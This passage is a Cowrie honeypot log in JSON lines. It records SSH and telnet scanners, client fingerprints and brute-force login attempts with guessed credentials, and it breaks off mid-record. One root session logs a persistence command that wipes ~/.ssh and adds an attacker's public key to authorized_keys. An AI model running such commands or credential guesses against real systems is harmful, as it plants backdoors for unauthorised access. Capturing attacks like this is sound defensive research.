{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:49:10.168216Z","src_ip":"193.32.162.151","session":"6ff7b1d9fa9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus@123","message":"login attempt [nexus/nexus@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:49:10.483075Z","src_ip":"193.32.162.151","session":"6ff7b1d9fa9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:49:11.585965Z","src_ip":"193.32.162.151","session":"6ff7b1d9fa9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":41516,"dst_ip":"10.17.0.5","dst_port":23,"session":"3112b13e84d8","protocol":"telnet","message":"New connection: 49.88.156.34:41516 (10.17.0.5:23) [session: 3112b13e84d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:49:15.393144Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":59028,"dst_ip":"10.17.0.5","dst_port":22,"session":"8aba37069a50","protocol":"ssh","message":"New connection: 92.118.39.95:59028 (10.17.0.5:22) [session: 8aba37069a50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:49:50.142338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:49:50.146041Z","src_ip":"92.118.39.95","session":"8aba37069a50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:49:50.250860Z","src_ip":"92.118.39.95","session":"8aba37069a50","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"ethereum","message":"login attempt [root/ethereum] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:49:50.568750Z","src_ip":"92.118.39.95","session":"8aba37069a50","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:49:50.803233Z","src_ip":"92.118.39.95","session":"8aba37069a50","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:49:50.805630Z","src_ip":"92.118.39.95","session":"8aba37069a50","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:49:50.912421Z","src_ip":"92.118.39.95","session":"8aba37069a50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:49:50.915561Z","src_ip":"92.118.39.95","session":"8aba37069a50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":55938,"dst_ip":"10.17.0.5","dst_port":22,"session":"2410e3e2d1fc","protocol":"ssh","message":"New connection: 80.94.92.186:55938 (10.17.0.5:22) [session: 2410e3e2d1fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:50:31.416051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:50:31.570731Z","src_ip":"80.94.92.186","session":"2410e3e2d1fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:50:31.574304Z","src_ip":"80.94.92.186","session":"2410e3e2d1fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":76.28247141838074,"message":"Connection lost after 76 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:50:31.675540Z","src_ip":"49.88.156.34","session":"3112b13e84d8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123","message":"login attempt [ubuntu/ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:50:32.289908Z","src_ip":"80.94.92.186","session":"2410e3e2d1fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:50:33.441459Z","src_ip":"80.94.92.186","session":"2410e3e2d1fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":49022,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd154f555b77","protocol":"ssh","message":"New connection: 193.32.162.151:49022 (159.203.135.109:22) [session: bd154f555b77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:51:21.038472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:51:21.061276Z","src_ip":"193.32.162.151","session":"bd154f555b77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:51:21.148458Z","src_ip":"193.32.162.151","session":"bd154f555b77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"display","password":"display","message":"login attempt [display/display] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:51:21.593979Z","src_ip":"193.32.162.151","session":"bd154f555b77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:51:22.703479Z","src_ip":"193.32.162.151","session":"bd154f555b77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":43018,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae55d78365aa","protocol":"ssh","message":"New connection: 92.118.39.95:43018 (10.17.0.5:22) [session: ae55d78365aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:52:00.294454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:52:00.299440Z","src_ip":"92.118.39.95","session":"ae55d78365aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:52:00.474800Z","src_ip":"92.118.39.95","session":"ae55d78365aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"validator","message":"login attempt [ubuntu/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:52:00.773457Z","src_ip":"92.118.39.95","session":"ae55d78365aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:52:01.878161Z","src_ip":"92.118.39.95","session":"ae55d78365aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.167.242.138","src_port":34572,"dst_ip":"10.17.0.5","dst_port":22,"session":"94094a61605b","protocol":"ssh","message":"New connection: 43.167.242.138:34572 (10.17.0.5:22) [session: 94094a61605b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:52:57.843361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:52:57.847874Z","src_ip":"43.167.242.138","session":"94094a61605b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:52:58.021771Z","src_ip":"43.167.242.138","session":"94094a61605b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"passroot123","message":"login attempt [root/passroot123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:52:58.740244Z","src_ip":"43.167.242.138","session":"94094a61605b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:52:59.108010Z","src_ip":"43.167.242.138","session":"94094a61605b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:52:59.111119Z","src_ip":"43.167.242.138","session":"94094a61605b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:52:59.114228Z","src_ip":"43.167.242.138","session":"94094a61605b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:52:59.287323Z","src_ip":"43.167.242.138","session":"94094a61605b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:52:59.709110Z","src_ip":"43.167.242.138","session":"94094a61605b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:52:59.712339Z","src_ip":"43.167.242.138","session":"94094a61605b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:52:59.888600Z","src_ip":"43.167.242.138","session":"94094a61605b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:52:59.892305Z","src_ip":"43.167.242.138","session":"94094a61605b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.167.242.138","src_port":34586,"dst_ip":"10.17.0.5","dst_port":22,"session":"babbb86ee1fe","protocol":"ssh","message":"New connection: 43.167.242.138:34586 (10.17.0.5:22) [session: babbb86ee1fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:53:00.059339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:53:00.065031Z","src_ip":"43.167.242.138","session":"babbb86ee1fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 